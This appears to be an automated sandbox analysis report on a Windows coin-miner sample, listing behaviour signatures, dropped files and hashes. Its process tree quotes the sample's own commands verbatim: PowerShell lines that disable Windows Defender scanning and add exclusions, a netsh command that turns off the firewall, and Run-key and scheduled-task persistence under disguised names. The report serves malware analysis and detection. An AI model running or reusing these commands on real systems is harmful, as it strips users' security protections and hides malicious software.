Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/07/2026, 00:42

General

  • Target
    2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
  • Size 16.4MB
  • Sample260724-a2vejaytez
  • SHA256 3b127639b5933e1570aad16e28d7e2da7d97a8c799cb27e74c251197072690cb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Windows security bypass 2 TTPs 6 IoCs
  • XMRig Miner payload 5 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 4 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 4 IoCs
  • Detects executables referencing many IR and analysis tools 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe"
    1⤵
    • Windows security bypass
    • Windows security modification
    • Suspicious use of WriteProcessMemory
    PID:3988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Restart-Service WinDefend -Force -EA SilentlyContinue; Start-Sleep 3; Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'UpdateHealthTools.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'DiagnosticsHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthSystray.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'WinSqmApi.exe' -EA SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue; netsh advfirewall firewall set rule group='Windows Defender Firewall' new enable=no 2>$null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" advfirewall firewall set rule "group=Windows Defender Firewall" new enable=no
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        PID:2068
    • C:\Windows\system32\reg.exe
      "reg" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHostSvc /t REG_SZ /d \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:1164
    • C:\Windows\system32\schtasks.exe
      "schtasks" /Create /SC ONLOGON /TN Microsoft\Windows\RuntimeBroker\WindowsHostSvc /TR \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /RL HIGHEST /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2880
    • C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe
      "C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe"
      2⤵
      • Executes dropped EXE
      PID:3052
    • C:\Windows\system32\cmd.exe
      "cmd" /C C:\Users\Admin\AppData\Local\Temp\__rtsvc_cleanup.bat
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3892
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:1888

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        SecurityHealthHost.exe

        • Path C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe
        • Size 16.4MB
        • SHA256 3b127639b5933e1570aad16e28d7e2da7d97a8c799cb27e74c251197072690cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 767fddf8235497bb808370f94146682f711181388efd0c20074c34c2a002b135
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 64b3cb7f68193748174f9ed6a713e118e9844276303c17013ae93761247848b0
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_zwokoiwa.cci.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zwokoiwa.cci.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        __rtsvc_cleanup.bat

        • Path C:\Users\Admin\AppData\Local\Temp\__rtsvc_cleanup.bat
        • Size 204B
        • SHA256 d48627e0362172ba587d06b22b04a296a96d2f10282a2083f16acea89eafae77
        • MD5 SHA1 SHA512 TLSH

        memory/3052-33-0x00007FF6F2990000-0x00007FF6F3702000-memory.dmp

        memory/3988-12-0x00007FF613FB0000-0x00007FF614D22000-memory.dmp

        memory/3988-32-0x00007FF613FB0000-0x00007FF614D22000-memory.dmp

        memory/4964-0-0x000002786B0E0000-0x000002786B0F0000-memory.dmp

        memory/4964-1-0x000002786B0E0000-0x000002786B0F0000-memory.dmp

        memory/4964-9-0x000002786D480000-0x000002786D4A2000-memory.dmp

        memory/4980-14-0x000002A36C640000-0x000002A36C650000-memory.dmp